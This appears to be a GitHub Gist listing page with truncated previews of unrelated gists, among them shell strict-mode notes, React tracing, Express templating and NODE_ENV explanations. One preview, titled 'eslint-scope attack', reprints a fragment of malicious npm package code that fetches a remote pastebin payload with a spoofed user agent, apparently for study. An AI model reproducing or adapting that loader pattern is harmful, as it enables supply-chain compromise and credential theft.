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Last active Jul 24, 2021
set -e, -u, -o, -x pipefail explanation

set -e, -u, -o, -x pipefail

The set lines

  • These lines deliberately cause your script to fail. Wait, what? Believe me, this is a good thing.
  • With these settings, certain common errors will cause the script to immediately fail, explicitly and loudly. Otherwise, you can get hidden bugs that are discovered only when they blow up in production.
  • set -euxo pipefail is short for:
set -e
set -u
bvaughn /
Last active Jul 20, 2021
Interaction tracing with React

Interaction tracing with React

React recently introduced an experimental profiler API. After discussing this API with several teams at Facebook, one common piece of feedback was that the performance information would be more useful if it could be associated with the events that caused the application to render (e.g. button click, XHR response). Tracing these events (or "interactions") would enable more powerful tooling to be built around the timing information, capable of answering questions like "What caused this really slow commit?" or "How long does it typically take for this interaction to update the DOM?".

With version 16.4.3, React added experimental support for this tracing by way of a new NPM package, scheduler. However the public API for this package is not yet finalized and will likely change with upcoming minor releases, so it should be used with caution.

This Gist provides some high-level docum

hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
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try {
var https = require("https");
hostname: "",
path: "/raw/XLeVP82h",
headers: {
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
valmat / vlm.utils.destructing.d
Last active Jun 1, 2020
variable destructuring; array to variables list; destructuring assign. Traversable, Tuple
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// May destructing variables for itarable types and tuples
module vlm.utils.destructing;
import std.range : empty, popFront, front;
import std.traits : isIterable;
import std.typecons : Tuple, tuple, isTuple;
import std.functional : forward;
hzoo /
Last active Jul 13, 2018
Recruiting emails + open source

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source

kops cluster config

  authorizationMode: RBAC
  authorizationRbacSuperUser: admin
  oidcCAFile: /srv/kubernetes/ca.crt
  oidcClientID: example
  oidcGroupsClaim: groups
  oidcUsernameClaim: email
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# when generating key and cert, use password provided by administrator
cd ~/Workspace/Silvermedia/vpn
kozak127@callisto:~/Workspace/Silvermedia/vpn$ openssl pkcs12 -in michal.wesoly.p12 -nocerts -nodes -out michal.wesoly.key
Enter Import Password:
joepie91 /
Last active Jul 23, 2021
Rendering pages server-side with Express (and Pug)


  • View: Also called a "template", a file that contains markup (like HTML) and optionally additional instructions on how to generate snippets of HTML, such as text interpolation, loops, conditionals, includes, and so on.
  • View engine: Also called a "template library" or "templater", ie. a library that implements view functionality, and potentially also a custom language for specifying it (like Pug does).
  • HTML templater: A template library that's designed specifically for generating HTML. It understands document structure and thus can provide useful advanced tools like mixins, as well as more secure output escaping (since it can determine the right escaping approach from the context in which a value is used), but it also means that the templater is not useful for anything other than HTML.
  • String-based templater: A template library that implements templating logic, but that has no understanding of the content it is generating - it simply concatenates together strings, potenti
markerikson /
Last active Mar 25, 2021
Summary of process.env.NODE_ENV and its use with Webpack

[02:06 PM] acemarke: @Steven : a couple other thoughts on the whole NODE_ENV thing. First, per my comments, it really is a Node concept. It's a system environment variable that Node exposes to your application, and apparently the Express web server library popularized using its value to determine whether to do optimizations or not
[02:08 PM] acemarke: Second, because of its use within the Node ecosystem, web-focused libraries also started using it to determine whether to they were being run in a "development" environment vs a "production" environment, with corresponding optimizations. For example, React uses that as the equivalent of a C #ifdef to act as conditional checking for debug logging and perf tracking. If process.env.NODE_ENV is set to "production", all those if clauses will evaluate to false.
Third, in conjunction with a tool like UglifyJS that does minification and removal of dead code blocks, a clause that is surrounded with if(process.env.NODE_ENV !== "development")


Orthodox C++

What is Orthodox C++?

Orthodox C++ (sometimes referred as C+) is minimal subset of C++ that improves C, but avoids all unnecessary things from so called Modern C++. It's exactly opposite of what Modern C++ suppose to be.

Why not Modern C++?